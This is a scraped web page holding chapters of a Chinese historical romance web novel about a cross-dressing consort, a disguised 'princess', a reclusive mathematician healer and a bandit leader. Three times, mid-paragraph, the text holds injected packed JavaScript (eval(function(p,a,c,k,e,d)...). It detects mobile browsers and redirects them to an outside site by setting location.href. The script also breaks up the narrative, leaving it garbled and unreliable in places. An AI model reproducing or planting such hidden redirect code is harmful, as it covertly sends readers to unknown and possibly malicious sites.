宋青瑛也换下了脏得不能看的襦裙,韩濯第一次看公主殿下穿这种粗布短衫,一张白玉般的小脸愈发显得素净,眼下熬得一片青黑,可怜得很。 “阿瑛…我们这是在哪?” 宋青瑛重新拿起碗:“这儿安全的,是一位大姐的屋子,她采药为生,一人隐居于此……” 说话间,一身量高挑的女子走了进来,看见韩濯醒了,挑了挑眉:“醒了?比我预想得还快,小姑娘命挺硬,插这么深,竟然没伤到脏器。” 这女子年纪应当不小了,鬓边已微白,眼角也有了饱经风霜的细纹,可是眉眼之间却神采飞扬,倒像未经沉淀的少女。身上的褙子和旋裙皆是一水儿的青蓝色,清爽又利落。 韩濯微微动了动,靠自己实在疼得起不来,只好拱了拱手道:“恕我身子不便,不能见礼,前辈救命之恩,韩某没齿难忘,来日定当报答。” “行了。”这女子道:“我姓墨,叫我墨娘子就成,我也不图你那仨瓜俩枣的回报,要了也没什么用,我就是看你家小娘子哭得可怜,顺手帮了一帮。” 韩濯下意识去看宋青瑛,见他小脸一红,心里微妙地动了一下。 墨娘子饶有兴致盯着他俩瞧,韩濯被她看得有点发烧,又隐约觉得不对,伸手摸了摸胸前,开始思考“你家小娘子”是什么意思。 “前辈,这一身……” “我给你换的。”墨娘子道:“你那小媳妇儿说啥都不敢看,只好我代劳,你们年纪也不大,也就是大孩子带着小孩子,怎么说话这么老气横秋,别叫我前辈……” 见韩濯一脸不可置信,墨娘子了然道:“咋了?我说错了,你们不是小情人?” 韩濯接道:“当然不是。” 墨娘子挑眉:“那这小丫头叫你官人?你俩没商量好?” 韩濯一噎,宋青瑛十分心虚,只好又喂了一勺药堵住了她的嘴。 墨娘子似乎想通了什么,喜得拍手道:“是了,既然他叫你官人,那就是三媒六聘明媒正娶来的,已是夫妻,自然不算情人,对不对?” 什么跟什么啊? 想要辩驳却不知道怎么辩,还被喂了一勺又酸又涩的药,韩濯不习惯被人这么伺候,没提防被苦得皱了脸,宋青瑛见状道:“请问娘子,有没有蜜饯能给她垫一垫?” 墨娘子抱臂:“没有,到底是西京来的娇得很,你也真惯着她。” 说完后忙不迭地问道:“这么说,现在山下女子和女子可以成亲了是不是?” 韩濯茫然,不知道墨娘子的脑回路是怎么回事,老老实实道:“不是…我是形势所迫,除了从小家里的几个,没人知道我是女人,在成亲之前,他也不知道。若是之后有必要,也有劳前…娘子帮我遮掩一二,在下感激不尽。” 墨娘子原本飞扬的神色瞬间沉了下去,她耸了耸肩,道:“好吧,我就知道,山下来来回回就这些破事,我还以为这么多年,我能下山了呢……”说着便旁若无人地往外走。 “墨娘子,那她……”宋青瑛心里牵挂着韩濯伤势,问道。 墨娘子头也没回:“醒了就没事了,记得按时换药,你们爱待多久待多久,菜自己摘肉自己猎饭自己烧,记得给我留,我爱吃酸的辣的不爱吃甜,对了,记得帮我收拾屋子,桶里的衣服记得洗……” 听了墨娘子源源不断的一串,韩濯目瞪口呆,这是把他们当了免费劳动力? 还不如要钱呢! 宋青瑛倒没做什么表示,似乎早就知道这几条霸王条款,把剩下的药喂了,又轻轻扶起韩濯,慢慢地架着她靠着床头坐起来。 “阿瑛,她到底是什么人?”韩濯没力气再对宋青瑛的屈尊伺候不好意思,缓了一会,问道。 宋青瑛摇了摇头:“不知道。”但随即笑了出来:“看上去是个红尘槛外人,也不问我们来历,有没有仇家,为什么搞成这样,二话不说就救了,是个奇人。” 韩濯借着坐起来的姿势看向窗外,刚好能瞥见一片菜畦,看上去是自己种的,一架水车立在溪流和菜畦之间,吱呀呀地转着。有趣的是,墨娘子似乎在小溪边开辟了一湾环状的池子,北高南低,溪水引进来时自上而下流泻,真如小型瀑布一般,红金色的光一闪,韩濯发现,里面竟然养了几尾红鲤。 像墨娘子这么在深山里不问世事地这么过一辈子,倒也快活。 不过很快,韩濯就把这想法收了回来,吴钩李三三还不知道怎么样了,韩胤那边也没音信,再说,长宁公主也…… 韩濯把视线收回来,正对上宋青瑛的脸,他正小心翼翼瞧着她,看上去分外紧张。 韩濯这才想起来自己晕过去前的事。 她抬起手,揉了揉宋青瑛的脑袋,尽量缓和道:“殿下说骗了我,怎么回事,还愿意讲讲么?” 宋青瑛这才确定,他自己主动坦白的男儿身韩濯真的没听到,松了一口气的同时,也隐隐有点失落。 韩濯见他思索半天,以为他不好再次启口,便叹了口气道:“不愿说也无妨,等有一日殿下准备好再……” “我不是殿下。”宋青瑛抬起了头,说道:“真正的长宁公主十几年前就过世了……” 宋青瑛对上韩濯惊讶的眼神,整理好心情将过往的一切和盘托出,唯独最重要的一点,宋青瑛默默吞进了肚子里。他不敢越雷池一步,又生怕没了和韩濯再亲近些的资格。 “我真是卑鄙啊。”宋青瑛不动声色地想。 宋青瑛讲起往事条理清晰,用词平实,没有一句废话,好像在讲旁人家的事。 可韩濯越听越心惊,越听越难受,宋青瑛长这么大,竟然一直没什么亲人依傍,怪不得他宁可和自己风里来雨里去,也不愿独自待在西京。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩濯茫然片刻:“啊?” 见宋青瑛一脸严肃看着自己,韩濯下意识道:“自然没有。” 宋青瑛不死心,继续追问道:“那清之若以后遇见了喜欢的人,可曾想过怎么办?” 韩濯认真思考了片刻,实话实说:“没想过,遇见了便遇见了,算是缘分,至于以后如何那是以后的事。” “我只想把这一生过得问心无愧,至于儿女情爱,不过是一个添头,爱也好憎也罢,都应在当下痛痛快快才好,至于圆不圆满,我也不想强求,或圆或缺,都是明月有情。” 宋青瑛低下头,从韩濯怀里轻轻挣了出来:“那清之为何执着要我圆满?” 韩濯看着宋青瑛的表情,觉得自己说错了话:“我只是以为……” 宋青瑛打断道:“算了,清之好好歇息,我把衣服洗了去。” 金尊玉贵的殿下做这些活计成何体统?韩濯没叫住他,倒是不小心牵动了刀口,无奈地跌了回去。 韩濯隐约觉得宋青瑛是因为自己的话才心情不大好的,可到底没想明白,辗转反侧片刻,终于不敌遭了大罪的身体拼命抗议,又沉沉睡了过去。 28. 穷途霸业 灵山村最开始,不叫灵山村,确切地说,它曾经不是什么村子。 汉中一代富庶过,也落魄过,经历百年春秋岁月,出了无数叫得上名字叫不上名字的慷慨义士。而义士大多没什么好下场,少部分一死重于泰山,被史书匆匆记载而过,但大多数岌岌无名,茕茕孑立,无有亲朋,只在将死之时绽放出一瞬间的火花,无名无姓,随后销声匿迹,这灵山村,曾经便是这些无名之士的埋骨之地。 汉中王和高祖皇帝耗了十年,按道理来讲,最后尘埃落定之时,必定会流传出一个与垓下悲歌一般可歌可泣的故事。 但没有,故事结束得很平静。 没有血流成河,没有死伤无数,在一个平平无奇的秋夜,汉中王肉袒负荆,出城乞降。 没人料到一身硬骨头的汉中王会投降,从前哪怕粮草运输已被切断,哪怕汉中因经年战争而被透支成空壳,许多人仍然相信,这千古难遇的明君终有一日带给他们久违的太平。 的确,太平被带来了,以这种最窝囊的姿势。 大多数人是不爱讲所谓“活着”的意义的,活着就是活着,至于气节这种虚无缥缈的东西,换不来饭吃。天下主人是谁,关我鸟事? 可还有一部分人,他们说什么也不愿接受事实,誓不做新朝一日臣,不吃新朝一粒米。 有歌曰:“宁枕义士骨,不做匹夫邻。”从此隐居灵山,无处寻觅。 剩下的故事当然不必再说了,光阴百代而过,一座座坟冢变成了桃源山村,但旧人一批一批地死掉,不知从哪一代开始,老人不再提起旧事,歌谣虽仍在传唱,却早已忘记为何而歌。 “若是他们老祖宗看到这些败类孙子把灵山村搞得乌烟瘴气,我估计他们祖坟都得冒烟。” 韩濯听宋青瑛讲完,叹了口气说道。 宋青瑛放下手中所执书卷,阿信当初递给他们的匣子里,除了大祭司周大福他们的罪证,还有灵王庙中暗藏的前朝古事之录撰,他道:“他们的先人至少称得上忠义,大概也想不到这些后代竟然成了大奸大恶之徒,甚至先人曾经效忠的灵王,也被拿来做了夺人性命钱财的工具。” “不过我还是不大明白。”宋青瑛道:“灵王为何会降,降了之后又怎么样了?灵王庙的记载交给了我们,想必这还是第一次现世吧。之所以隐藏如此之深,不就是为了史实不被掩盖?可是这记录也同样遮掩模糊,难不成即使是对旧朝人来说,仍然有什么难言之隐?” 韩濯摇了摇头,比起这段史实,她还是对阿信当初布下的陷阱更感兴趣。 这几日她躺得骨酥筋软,简直要发霉,好在从墨娘子那里得了本算学的书籍,干脆研究着解闷,这本算经的题目大多不难,她也只是没事做动一动锈住的脑子而已。 可韩濯有一点强迫症,好像给自己定了一个kpi一样,必须按顺序一道题一道题解完,中间空一道就浑身难受,宋青瑛看她的样子简直好像鬼上身,不把一整本解完誓不罢休,被捅个窟窿还劳心劳力,想让她换换脑子便把灵山村旧事念出来给她听,但明显韩濯只附和着听了一阵,伸手又去够没解完的草纸。 宋青瑛瞥了一眼草纸上的鬼画符,那玩意歪七扭八像蚂蚁一般软趴趴,也不知到底是什么,但神奇的是,韩濯似乎靠着这些玩意把自己一看就头大的题目成功解了出来。 宋青瑛识趣地闭嘴了。 他可不想被韩濯拉过去讲什么方什么程。 “这汤也太淡了!” 韩宋二人对视一眼,无语片刻,都是一脸苦笑,墨娘子对宋青瑛的伺候心安理得,底气十足地在饭桌上高声抱怨。 宋青瑛回道:“她伤重吃不得重盐,墨娘子自己添些盐试试?” 墨娘子那边不知咕哝着什么,似乎放弃了继续进食,走进了韩濯屋内。 她拉过韩濯的手探了探脉,又上去扒人眼皮,力度重得韩濯以为她是故意的。 “啥事没有,不吃发物就成,下次盐正常放。” 韩濯有点按捺不住,若是她干活也就罢了,偏偏是金尊玉贵的殿下被人使唤,多少不是滋味,她“喂”了一声:“前辈,阿瑛年纪还小呢,平日里他哪里做过些事。” 墨娘子挑眉,有些戏谑道:“心疼啊?” 这话多少有点奇怪,说心疼也不是不心疼也不是,韩濯也不知道咋接,不过这个问题很快就被墨娘子忽略了。 她瞥见了韩濯的草稿纸。 “这是你写的?” 墨娘子突然按住了她的肩膀,力度大得出奇,盯着韩濯的眼睛犹如火光燃烧。韩濯吓了一跳。 难道她认识?韩濯突然燃起了一点希望,说不准,这墨娘子和自己是同路人呢? “奇变偶不变?”她试探道。 。。。。。。 不大行。 “宫廷玉液酒?” 。。。。。。 换个思路,说不定她和自己不是一个年代过来的呢?韩濯绞尽脑汁,又道:“额...这是最后的斗争,团结起来到明天?......额算了,howareyou?” 宋青瑛一头雾水,什么乱七八糟的鸟语,难不成黄脸捅在腰上一刀,顺便造成了智力损伤? “林长青是你什么人?”墨娘子突然道,抬起来眼睛,内里仿佛有光华闪耀。 这下轮到韩濯蒙了。 “谁?” “你们是她的徒弟,是也不是?” “前辈,你先松开她......”宋青瑛急道,她实在怕墨娘子一个不对付再把韩濯按出个好歹来。 “她是不是让你们来找我?”墨娘子没理宋青瑛,按着韩濯的肩膀继续追问。 完了,看来暗号对岔,浴霸没开成把排风扇打开了,韩濯暗自腹诽,随后急忙解释道:"我不认得您的这位故人,我诗书是林学士传授,武学是家父教的......没当过别人的徒弟。" “那你为什么会写这种文字?整个大齐,只有她一人会!” “前辈看得懂?”韩濯心头百转。 墨娘子激动得胸腔起伏:“我自然看得懂!” “这不就结了,这文字从天竺而来,您看得懂,我也会用,哪里会是‘天底下只有一人会用’?” 墨娘子沉寂了下去,眼中的火光熄灭了,喃喃道:“是啊,怎可能,她说过不再见面,那就是不会再......” 宋青瑛看她神色不好试探道:“这位林...前辈,是您的什么人?” 墨娘子回过神,很快就恢复了平日的神色,咬咬牙道:"什么人?仇人!" 随后噔噔几步走了,临了回头对宋青瑛道:“你到屋外等我,帮我晒药材。” 啥药材晚上晒啊?韩濯纳闷。 也不知道墨娘子乒乒乓乓捣鼓什么,片刻后她带着一沓厚厚的手稿返回,直接丢到了韩濯面前。 “你不是问我要什么报答么,既然你也会,把这些东西写个详细的注解出来,简明详尽,如果我看不懂可就不算数。” 韩濯满脸问号地拿起一张,瞬间两眼一黑。 这不是常微分方程吗我去! 韩濯继续翻看,多元函数微分,曲线积分,曲面积分...... 不是,这位墨前辈的仇人,您是不是有点太过热爱学习了啊! 再也不乱写自以为别人看不懂的玩意了! 韩濯已老实。 可随后她产生了一点欣喜来,看来这个大齐真的有同道,若从墨娘子那里得到更多信息,以后总比自己一个人孤军奋战好。 想到这里,她甩了甩脑袋,带着隐隐作痛的伤口苦哈哈地批注起来。 / “你们不是普通百姓,我看得出来。” 墨娘子蹲在地上,翻动着地上的药材,月光皎皎,照得人心里有点发慌。 宋青瑛在一旁有样学样,听了这话手上动作一顿,倒也不算意外。 “是所有的都要翻一下么?”宋青瑛认真问道。 墨娘子撇了撇嘴:“翻个屁,谁家大晚上翻药材。” 话都让她说了。 她站了起来,带着宋青瑛往前走。 水车仍在哗啦啦地响,良久无言,她突然开了口。 “我有个故事,是师父讲给我和师姐的,你要不要听?” “话说多年以前有个君王,英明神武,勤政爱民,国家在他的治理下繁荣昌盛,人人安居乐业,丰衣足食,堪称乱世中最后一块福地…” “前辈说的是灵王?”宋青瑛放下了抱着的肩膀,问道。 “你知道?”墨娘子惊讶。 宋青瑛低头踢着石子,道:“知道一点……关于他兵败投降…什么的。” 墨娘子笑了笑:“那正好,省得我多讲了。” “就从他与高祖皇帝的军队僵持开始说起吧。” “本来高祖皇帝以为,区区一个小小汉中王,怎能拦得住他收复十二州的铁骑,可汉中王这个似乎毫无野心的小王做到了。 零零碎碎打了好多仗,最开始,汉中军尚以仁义之师自居,可十年时间,足够很多事改变了。 战争耗空了汉中,可没人想投降,高祖当然不愿,汉中百姓不愿,灵王也不愿。 有一日灵王行路途中遇见一老媪。 她世代生活在灵山村,育有二儿一女,一子死在了战场上,另一子在一战中瘸了腿瞎了眼,投河自尽了,只剩一个女儿,嫁到了外面去,还算平安。 两边打仗书信往来都困难些,前几日刚接到女儿书信,叫她过去养老。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我猜猜......”墨娘子恢复了游戏人间的表情:“你们成亲之前不认识,或者至少不熟。” 宋青瑛哽住了。 “说不定还约法三章表面夫妻。” 宋青瑛又一噎。 “现在你在单相思。”墨娘子无情地一锤定音。 看着宋青瑛垂头丧气的表情,墨娘子知道自己猜对了,格外不合时宜地沾沾自喜。 “今天和你说的故事,你不妨好好想一想。”墨娘子又转回了话题:“在选择来临之前,你最好搞清楚她会怎么选。不然,即使你们能走到一处,最后也会分道扬镳。” “我猜她不会花时间选,”宋青瑛摇摇头笑道:“她不喜欢酸掉牙的故事,有那个功夫,她在十几年前就开始思考该怎么把高祖皇帝炸了。” 宋青瑛好像想起了什么有趣的事:“她这种人,不可能沦落到灵王的境地的。” 墨娘子听了片刻,开口道:“你话最好不要说得太早,免得脸疼。” 随后莫名多了一嘴:“其实我觉得她挺喜欢你的。” 宋青瑛闻声猛地抬头。 墨娘子扑哧一声笑了,随后道:“但你得多努力努力,她不是那么容易转过来弯的,感情这种东西难得很,要讲究技巧,和摸猫差不多,你突然坦白会把人吓走,你要是不伸手也别指望她主动来蹭你。” 一番奇怪的比喻后,墨娘子又嘟哝道:“我和你这小不点说这个干啥,毛都没长齐。” 宋青瑛憋了片刻,还是没忍住,小声道:“那我该怎么办?” 墨娘子上下扫了他一眼:“等你长大再说吧。” “其实我也没奢求她一定要和我在一处......” 墨娘子刚转身,就听见宋青瑛这么讲。 “她开心就好,真的,只要能看到她好,我就......” 就满足? 怎么可能。 墨娘子叹了口气。 “顺其自然吧。”墨娘子道:“真有出息,才这么点大就是个大情圣,以后你可有得苦头吃了。” “先让她习惯你吧。”墨娘子大发慈悲地支招:“我看你这满心满眼的样子,不知得把她惯成什么样,等她习惯了你,突然有一天若你不在身旁,说不定她就回过味儿来了呢?关窍一打通,保管她爱得死去活来。” 估计没等我不在她身旁,我就自己受不了了,宋青瑛暗暗想道。 “前辈怎么还懂这种道理?” “天上地下,再没人比我更懂了。” 宋青瑛还没反应过来什么意思,檐角的黄铜铃铛忽然铃声大作,随后四面八方悬挂的黄铜铃因着几乎细不可见连在一起的丝线一齐叫嚣,共振起来几乎震耳欲聋。 墨娘子眉头一皱。 “有人闯山!” 29. 压寨夫人 墨娘子独自隐居深山多年,住处虽简朴却处处暗藏玄机,这些屋檐角悬挂的铃铛,实际由细密几乎不可见的丝线牵引串联,组成了一个铜铃阵,若有人擅自闯入触发陷阱,便会提醒警戒。 宋青瑛和墨娘子赶去陷阱处,可当二人借着月光看清楚时,皆是一时间哭笑不得。 “死鬼?” 被悬挂在歪脖子树上的小灰驴看见宋青瑛,扯着嗓子长嘶,四条腿在空中踢来踢去,宋青瑛忍着笑,把死鬼放了下来。 墨娘子见来的不是人,暗暗松了口气。死鬼在地上滚了一圈,才粗喘着扑腾起来,啊偶啊偶地叫着,用扎人的驴嘴扯宋青瑛的袖子,引得墨娘子嫌弃地站远了些。 “它脖子上有东西。”冷不防背后传来声音,宋青瑛和墨娘子皆是唬了一跳。 韩濯方才听见铃阵大响,实在没忍住下床跟了出来。 “你怎么下床了,快回去!” 韩濯摇摇头,苦笑道:“饶了我吧,我已经躺两天了,再躺下去腿就要废了。” 墨娘子抱肩道:“她伤的又不是腿,你不让她下床没啥作用。” 韩濯率先伸手,解下了死鬼脖子上拴的东西。 “这好像是李三三的药包。” 死鬼扯着嗓子嚎了几声,继续拽宋青瑛的袖子。 是不是出事了? 墨娘子看着两人神色,了然道:“你们要走了?” 宋青瑛有些犹豫,韩濯的伤只是刚稳定,若是李三三那边出事,怎么能让她再去涉险? 韩濯却回得很快:“这几日多有叨扰。多谢前辈搭救,我们也不好久留了。” “你走了,要你注解的稿子怎么办?” 韩濯想了想道:“前辈若信得过我,我便带上,批注好便一部分一部分寄给前辈。” “不行!”墨娘子斩钉截铁:“手稿只能留在我这儿。” 韩濯无所谓道:“既如此我便另默一份,可能文字有些出入,但道理终究一样,不妨碍什么。” “你默得出来?” “差不多。”她数学基础学得还算扎实,至少知识框架记得很牢靠。具体公式记不清,用大白话写一点基本思路还是没问题的。 宋青瑛大受震撼,他哪里知道韩濯学过,只道她聪慧过人,有过目不忘的本事。 墨娘子满意了,点点头道:“既然如此,我的藏书除了手稿外,你可以带走一本,日后你若是有命活下来,把手稿注解好了,我的藏书随便借阅,送你两本也成。” 随后补充道:“你若是识货便知,我的这些藏书里面,不少都是天上地下仅有的孤本,千金难求,连宫里的藏书阁都比不上。” 韩濯听了这话分外心动,眼神亮了亮:“多谢前辈。” 墨娘子笑骂道:“呆货,一个两个尽叫我前辈,说多少遍都不听,我就那么老?” “多谢墨姐姐!”韩濯心情好,嘴也跟着甜,笑眯眯地朝墨娘子仰着脸。 墨娘子突然有些恍惚,但很快回过神来,带着笑意骂道:“去去去,别在我跟前卖乖,要滚快滚!” / 夜半三更,山寨里一片寂静,被推出来守夜的倒霉蛋困得几乎睁不开眼,和他们一直不对付的山匪头目前两日被不知哪来的大侠一下子穿了脑袋,现下山寨里哪有什么威胁,自己睡一小会儿应该也没什么事。 他靠着木栏闭上眼,意识刚刚迷糊起来,就猝不及防被人捂住了嘴。 他彻底清醒了,拼命挣扎起来,一把寒刃却抵上了他的脖颈。 “别动!” 身后的人个头不高,力气却很大,他几乎要窒息了,与此同时,阴影处又缓缓出一个人来,半张脸埋在阴影里,另一半被月光照得惨白。 “老实回答我的问题,否则……”那人做出了一个抹脖子的姿势。 “最近,你们这儿有没有来过一个道姑打扮的人?” 那人小幅度晃了晃头,示意自己被捂着嘴说不出话。 暗处那人颔首:“别耍花样。” 身后的人接到信号,撤走了他嘴上的力道,可匕首还照旧抵在脖子上,微微渗出一点血来。 那人咽了口唾沫,刚要说话,木塔下方却有说话声传来。 “姑娘,真的不考虑留在寨中?” “有这功夫废话,不如快放姑奶奶走,我都说了,我不是闲人,我有差事的。” 这声音清脆得像噼里啪啦倒出来的银豆子,不是李三三是谁? 韩濯没有废话,一个手刀果断地把守夜的倒霉蛋劈晕了。 瞭望塔实在是一个偷听的好地方,这里四面没有草木,月亮光溜溜照得地上下雪一般银亮,韩宋二人对视一眼,在暗处细看。 “有意思,跟着驸马没前途,难不成跟着你做土匪就有前途?” 李三三在前面一面走,一面骂骂咧咧:“你这是强买强卖,我当初也没要你救我们啊,凭什么你说啥我都要答应你?” 身后亦步亦趋跟着一个高挑的男人,额上也是系着红巾,辩解道:“姑娘,我不是那个意思。” “老娘管你什么意思!” 韩濯和宋青瑛两个人蹲着鬼鬼祟祟听墙角,听到这对话对视一眼,都在对方的眼睛里看到了茫然。 李三三这是要被抓过去当压寨夫人? 不过这看起来像“红巾贼”头领的人,感觉没什么匪气,气势上比李三三矮了一大截,倒也不像是逼婚的样子。 “李姑娘……我…” “你怎样?” 还能咋样?韩濯想当然,这桥段电视剧拍过多少回了,肯定是要表白。 韩濯这么想着,身体前倾了一点,兴奋极了,伤口隐隐的疼都顾不上了。 那男人憋了片刻,这话在嘴边欲言又止回锅了好几回,把韩濯急得够呛。 “他怎么还不说?急死我了。”韩濯小声抱怨。 宋青瑛有些无语,斜了韩濯一眼。 “李姑娘。” 那人终于忍不住了,视死如归一般闭了眼,对李三三道: “你是不是喜欢那个驸马?” 啊? 韩濯脖子狠狠抽了一下筋,被雷得外焦里嫩,一口口水没咽下去,噎了一下,忍了几秒还是咳出了声音,牵动了左腰伤口,疼得呻吟了一声。 “谁?” 两道目光齐齐看了过来。 / 攻守之势异也。 片刻后,韩濯和宋青瑛站在头领面前,屋内四周全部站着提刀带枪的红巾贼,好歹是没捆他们。头领坐在虎皮椅子上,阴沉沉看着两人,似乎在埋怨他们坏了好事,方才李三三见了故人,还没来得及欣喜地问东问西,就被“请”到了房间里面。 韩濯咽了一口唾沫。 这人看上了李三三? 韩濯之前其实没注意过李三三长得好不好,而现在明明是危急存亡之秋也,驸马清奇的脑回路却不可控制地跑偏,回味起了这门亲事的可能性。 李三三平时不修边幅,素面朝天混在一帮泥腿子里面招摇行骗,让人忘记了她其实生得浓眉大眼,灵气逼人。韩濯又瞧了瞧这红巾贼的头领,身为匪首,长得…竟然很端正? 好像和李三三还有点夫妻相? 什么跟什么!韩濯清空了自己乱七八糟的脑子,虽然说两个人相貌不俗,虽然说两个人一贼一匪臭味相投,虽然说这匪首看起来十分讲道理,但是李三三不乐意,那是绝对不行的。 匪首发话了。 “你就是韩濯?” 语气好像在盘问勾搭别人老婆的小白脸。 韩濯装大瓣蒜:“在下随行的医师失踪多日,鄙人也一直在找她,听闻音信就立刻赶到贵寨,事出突然,没来得及递上名贴,请您见谅。” “说得倒是很客气。”匪首阴沉着脸:“你就是这么客气的?” 韩濯顺着目光看去,那放哨的倒霉蛋被人扛进了屋内,躺在地上人事不省。 但鼾声如雷,不像纯晕。 “我问你,”头领道:“李姑娘是你什么人?” 韩濯朝宋青瑛挪了挪,飞快答道:“随行的医师。” “京城那么多名医,驸马找一个不难吧,为什么单单要一个江湖游医做随从医师?” “李姑娘是我朋友,她认识我比驸马还早些。”宋青瑛站到了韩濯前面,回答道:“李姑娘虽是游医,但医术高超,胜过御医百倍,愿意和我们去灌州,是和我们有情分在。” 那匪首冷哼一声:“灌州?那地方穷山恶水,她跟着去能有什么好前程?” “这便不是旁人能置喙的了。”宋青瑛不卑不亢道:“李姑娘愿意和我们来,这是她为自己选的前程,为何您不相信她的眼光?” 那人站了起来,面沉如水。 “别以为我不知道你们这些京城纨绔私下里有多龌龊。”他透过宋青瑛,恶狠狠盯着韩濯。 “我张大成虽属匪徒之辈,却是劫富济贫的义匪,做不来伤天害理的事,而你们这些人最是道貌岸然,李姑娘天真烂漫,定是被你诱骗了去,你祸害了那么多姑娘,我怎么能放心她跟着你?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809555|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩濯目瞪口呆。 大哥你要不要看看谁才是天天骗人的那个,还有,啥叫祸害那么多姑娘?她韩濯一张脸的确英俊潇洒,可只有软实力,又没有硬实力,就算有贼心,也动不了真章,她活这么大嘴都没亲过!再说了,啥叫“跟着你?”公主殿下还在呢! 简直是千古奇冤! 宋青瑛发话了:“张先生是从哪道听途说这些?” 张大成重新坐了回去,眼中却怒意未消。 “驸马平日作风如何,我最是清楚的,你不信驸马,为何不信我?难不成我堂堂公主,还要为她遮掩不成?” “你就是长宁公主?”张大成好像想站起来,却不知怎么仍然没抬起屁股。 “正是。”宋青瑛颔首:“京中有些流言,这我知道,不过是朝中党争的一部分,驸马无辜被卷了进去,她平日谨言慎行,每日里都和我在一处,哪有什么时间寻花问柳?先生未免论断下得过早,驸马以赤诚之心待三三姑娘,是真心把她当朋友,你这样一说,难道不也是玷污了三三姑娘的情义?” 张大成似乎缓了一口气,可仍狐疑道:“殿下说的当真?” “自然,”宋青瑛道:“驸马对我……”说到一半,他卡壳了,驸马的情义于他,终究还悬在半空,他难以启口。 “我早已心许了殿下。”韩濯接道:“韩某人对殿下忠贞之心,天地可鉴,不可能再插进来什么旁人。” 宋青瑛的心扑通扑通跳得厉害,他知道韩濯这些话只是权宜之计,可脸上却不可控制地热了起来,他转头对上了韩濯的眼睛。 她的眼睛生得多情,眉目缱绻,认真地看向旁人时,很难让人不当真。 宋青瑛情难自抑,握住了韩濯的手。 韩濯被他握住,心头微动,愣了愣,虽有些别扭,却也没撒手。 “……”张大成沉默。 “那我问你,我若是想留李姑娘在寨中,你允不允?” 韩濯正色,手仍然和宋青瑛握在一处:“李姑娘是我们的朋友,你问我允不允有何用,不该问她愿不愿?” 张大成似乎无话可说,他叹了口气,站起身走了下来。 韩濯发现那老虎皮好像是假的,墨水都有点褪色了,有点忍不住想乐,这红巾贼未免有点草台班子。 “既然如此,我张某人愿意和驸马交个朋友,”张大成道:“前几日寨中叛乱,叛徒头领行事冲动,趁我不在寨中,这蠢货带领一些弟兄偷袭那些与灵山村同流合污的恶贼,险些全军覆没。” “倒也多亏了韩大人杀了恶贼头领,才让我寨中兄弟少了伤亡,如此说来,我倒是欠你一个人情。” “不敢。”韩濯心头松了一口气。 “大人若是认我这个朋友,便干了这一杯,也算我给你赔罪了。” 韩濯看了一眼端上来的酒,两眼一黑,这哪里是一杯,明明是一坛。 这人真是小心眼,就因为李三三不跟他走,变着法找人不痛快。 “她不能喝。”宋青瑛挡在了韩濯身前,韩濯还受着伤,这么一坛烈酒,身体哪里受得了? “嗯?大人是觉得,和我这么个匪徒攀扯上关系,辱没了你?” “不敢,”韩濯忙道:“只是在下实在不胜酒力,失敬失敬。” 张大成挑了挑眉,还没等他说话,宋青瑛就把酒坛夺了过去。 “这一坛,我替了。” 说着掀开酒封,直接灌了下去。 未成年饮酒这还了得?韩濯赶忙去抢,可一坛酒早就被这不要命的公主豪饮得空了一半。 韩濯吓得够呛,紧张地盯着宋青瑛,他喝得太猛,酒劲上得也快,须臾之间便脚步虚浮,一张玉白的小脸很快翻了红,真真压倒桃花。 “阿瑛?阿瑛?”韩濯搂住了有点踉跄的宋青瑛,轻轻唤道。 宋青瑛看着韩濯蹙起的眉头,鬼使神差一般伸手揉了上去。 他觉得自己真的醉了。 张大成看着有点牙酸,挥挥手道:“若不嫌弃,今夜便在此处下榻吧,山中多匪,我派人送你们去灌州,也算是还了你们一个人情。” 韩濯搂着宋青瑛,没来得及和张大成说什么几个年轻的红巾军便走上前去,要带他们去房中休息。 宋青瑛好像彻底醉了,韩濯轻轻拍了拍他的脸:“阿瑛?还能走吗?回房了好不好,嗯?” 宋青瑛歪了歪头,带着醉意用满含水光的眼睛看着韩濯笑,一歪头,嘴唇触到了韩濯拇指上的红痣,麻酥酥地痒。 韩濯浑身起了鸡皮疙瘩。 30. 思未敢言 宋青瑛靠在床畔,好像完全糊涂了,眼神一错不错地往韩濯身上黏。 韩濯正把手帕打湿,去擦宋青瑛的脸。被他看得有些不自在,别扭地动了动脖子,却被他一下子抓住了手。 “做什么?”韩濯轻声问,似乎是觉得这样的小殿下难得一见,声音带了一点笑意。 宋青瑛似乎想起来了什么,十分不满韩濯带着伤到处乱跑,仰着脸眯起眼道:“躺好。” 说着,喝醉了的公主殿下挥开了韩濯手中的帕子,摇摇晃晃站了起来,抓着韩濯的胳膊,似乎要把她架到床上去。 “诶诶诶殿下,”韩濯看着宋青瑛东倒西歪的样子,反手抓住了他:“醉着呢,胡闹什么!” 宋青瑛站在原地思考了片刻,缓缓扒住了韩濯的肩膀。 说是扒住,不如说几乎趴在了韩濯怀里。 “要养伤,要睡觉。” 声音闷闷的。 韩濯被好大一只殿下糊上去,鼻尖都埋进了他的发髻里,赶紧哄道:“好好好,都依你,你先躺下,你这么扒着我,要压到伤口了。” 话音刚落。宋青瑛就仿佛受惊的什么小动物,一下子脱离了韩濯的臂弯,蹿出去几米远,低着头,好像做错了事等着挨训。 韩濯突然就觉得,宋青瑛偶尔流露出的这种可怜兮兮的小表情真是十分有趣,忍不住想逗他玩。 